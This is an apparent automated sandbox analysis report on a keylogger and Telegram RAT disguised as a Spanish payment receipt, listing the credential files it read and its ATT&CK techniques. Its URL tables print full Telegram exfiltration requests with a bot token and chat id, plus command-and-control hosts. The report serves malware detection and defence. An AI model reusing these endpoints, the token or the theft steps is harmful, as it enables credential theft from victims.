Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.SecureBoot.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.SecureBoot.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\UEV\Microsoft.Uev.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\WindowsErrorReporting\Microsoft.WindowsErrorReporting.PowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure.CimCmdlets\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.CimCmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\Windows\SysWOW64\msiexec.exe VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\Justificante pago-09453256434687.exe

0_2_004034F7

Stealing of Sensitive Information

Source: Yara match

File source: 00000006.00000002.2936459320.0000000021A71000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 00000006.00000002.2936459320.0000000021BF3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: msiexec.exe PID: 8012, type: MEMORYSTR

Yara detected VIP Keylogger

Source: Yara match

File source: 00000006.00000002.2936459320.0000000021BF3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Top Sites	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\msiexec.exe

File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\

Yara detected Snake Keylogger

Source: Yara match	File source: 00000006.00000002.2936459320.0000000021B7C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: msiexec.exe PID: 8012, type: MEMORYSTR

Remote Access Functionality

Source: Yara match

File source: 00000006.00000002.2936459320.0000000021A71000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 00000006.00000002.2936459320.0000000021BF3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: msiexec.exe PID: 8012, type: MEMORYSTR

Yara detected VIP Keylogger

Source: Yara match

File source: 00000006.00000002.2936459320.0000000021BF3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	2 Obfuscated Files or Information	1 OS Credential Dumping	2 File and Directory Discovery	Remote Services	1 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	2 PowerShell	1 Registry Run Keys / Startup Folder	1 Access Token Manipulation	1 Software Packing	LSASS Memory	14 System Information Discovery	Remote Desktop Protocol	1 Data from Local System	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	311 Process Injection	1 DLL Side-Loading	Security Account Manager	11 Security Software Discovery	SMB/Windows Admin Shares	1 Email Collection	21 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Registry Run Keys / Startup Folder	11 Masquerading	NTDS	1 Process Discovery	Distributed Component Object Model	1 Clipboard Data	4 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	31 Virtualization/Sandbox Evasion	LSA Secrets	31 Virtualization/Sandbox Evasion	SSH	Keylogging	15 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Access Token Manipulation	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	311 Process Injection	DCSync	1 System Network Configuration Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Justificante pago-09453256434687.exe	8%	ReversingLabs

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\globosely\baadehavn\stnner\forslvedes\Justificante pago-09453256434687.exe	8%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nsj887A.tmp\nsExec.dll	0%	ReversingLabs

Name	IP	Active	Malicious	Reputation
drive.google.com	172.217.19.174	true	false	high
drive.usercontent.google.com	142.250.181.1	true	false	high
reallyfreegeoip.org	104.21.67.152	true	false	high
api.telegram.org	149.154.167.220	true	false	high
checkip.dyndns.com	158.101.44.242	true	false	high
checkip.dyndns.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:065367%0D%0ADate%20and%20Time:%2017/12/2024%20/%2019:35:34%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20065367%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D	false	high
https://reallyfreegeoip.org/xml/8.46.123.189	false	high
http://checkip.dyndns.org/	false	high
https://api.telegram.org/bot7884953123:AAF1UbV49cF9gYVrnfCw9g9ZbVXhB325bSM/sendDocument?chat_id=5234817354&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0ACookies%20%7C%20user%20%7C%20VIP%20Recovery	false	high
https://api.telegram.org/bot7884953123:AAF1UbV49cF9gYVrnfCw9g9ZbVXhB325bSM/sendDocument?chat_id=5234817354&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://www.office.com/	msiexec.exe, 00000006.00000002.2936459320.0000000021C66000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.2936459320.0000000021B7C000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.2936459320.0000000021C57000.00000004.00000800.00020000.00000000.sdmp	false	high
http://nuget.org/NuGet.exe	powershell.exe, 00000001.00000002.2056661315.0000000005A2D000.00000004.00000800.00020000.00000000.sdmp	false	high
https://aka.ms/winsvr-2022-pshelp	powershell.exe, 00000001.00000002.2053769821.0000000004B16000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram.org	msiexec.exe, 00000006.00000002.2936459320.0000000021C18000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.2936459320.0000000021B57000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.2936459320.0000000021BF3000.00000004.00000800.00020000.00000000.sdmp	false	high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000001.00000002.2053769821.0000000004B16000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram.org/bot	msiexec.exe, 00000006.00000002.2936459320.0000000021BF3000.00000004.00000800.00020000.00000000.sdmp	false	high
https://translate.google.com/translate_a/element.js	msiexec.exe, 00000006.00000003.2139339110.0000000005F3E000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2139283272.0000000005F3E000.00000004.00000020.00020000.00000000.sdmp	false	high
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000001.00000002.2053769821.0000000004B16000.00000004.00000800.00020000.00000000.sdmp	false	high
http://crl.microsoft	powershell.exe, 00000001.00000002.2046362099.00000000008F2000.00000004.00000020.00020000.00000000.sdmp	false	high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000001.00000002.2053769821.0000000004B16000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:065367%0D%0ADate%20a	msiexec.exe, 00000006.00000002.2936459320.0000000021B57000.00000004.00000800.00020000.00000000.sdmp	false	high
https://contoso.com/License	powershell.exe, 00000001.00000002.2056661315.0000000005A2D000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.office.com/lB	msiexec.exe, 00000006.00000002.2936459320.0000000021C61000.00000004.00000800.00020000.00000000.sdmp	false	high
https://contoso.com/Icon	powershell.exe, 00000001.00000002.2056661315.0000000005A2D000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive.usercontent.google.com/	msiexec.exe, 00000006.00000003.2194212584.0000000005F3A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.2924097464.0000000005F36000.00000004.00000020.00020000.00000000.sdmp	false	high
http://checkip.dyndns.org	msiexec.exe, 00000006.00000002.2936459320.0000000021A71000.00000004.00000800.00020000.00000000.sdmp	false	high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	msiexec.exe, 00000006.00000002.2937418489.0000000022E15000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.2936459320.0000000021B7C000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.2937418489.0000000022B4E000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.2937418489.0000000022BC3000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.2937418489.0000000022CF2000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.2937418489.0000000022D40000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.2937418489.0000000022B9C000.00000004.00000800.00020000.00000000.sdmp	false	high
http://nsis.sf.net/NSIS_ErrorError	Justificante pago-09453256434687.exe, Justificante pago-09453256434687.exe.1.dr	false	high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	msiexec.exe, 00000006.00000002.2937418489.0000000022E15000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.2936459320.0000000021B7C000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.2937418489.0000000022B4E000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.2937418489.0000000022BC3000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.2937418489.0000000022CF2000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.2937418489.0000000022D40000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.2937418489.0000000022B9C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram.org/bot/sendMessage?chat_id=&text=	msiexec.exe, 00000006.00000002.2936459320.0000000021B57000.00000004.00000800.00020000.00000000.sdmp	false	high
https://chrome.google.com/webstore?hl=en	msiexec.exe, 00000006.00000002.2936459320.0000000021C35000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.2936459320.0000000021C66000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.2936459320.0000000021B7C000.00000004.00000800.00020000.00000000.sdmp	false	high
http://varders.kozow.com:8081	msiexec.exe, 00000006.00000002.2936459320.0000000021A71000.00000004.00000800.00020000.00000000.sdmp	false	high
https://github.com/Pester/Pester	powershell.exe, 00000001.00000002.2053769821.0000000004B16000.00000004.00000800.00020000.00000000.sdmp	false	high
http://aborters.duckdns.org:8081	msiexec.exe, 00000006.00000002.2936459320.0000000021A71000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.google.com	msiexec.exe, 00000006.00000003.2139339110.0000000005F3E000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2139283272.0000000005F3E000.00000004.00000020.00020000.00000000.sdmp	false	high
http://51.38.247.67:8081/_send_.php?L	msiexec.exe, 00000006.00000002.2936459320.0000000021BF3000.00000004.00000800.00020000.00000000.sdmp	false	high
https://aka.ms/pscore6lB	powershell.exe, 00000001.00000002.2053769821.00000000049C1000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive.google.com/	msiexec.exe, 00000006.00000002.2924097464.0000000005ECA000.00000004.00000020.00020000.00000000.sdmp	false	high
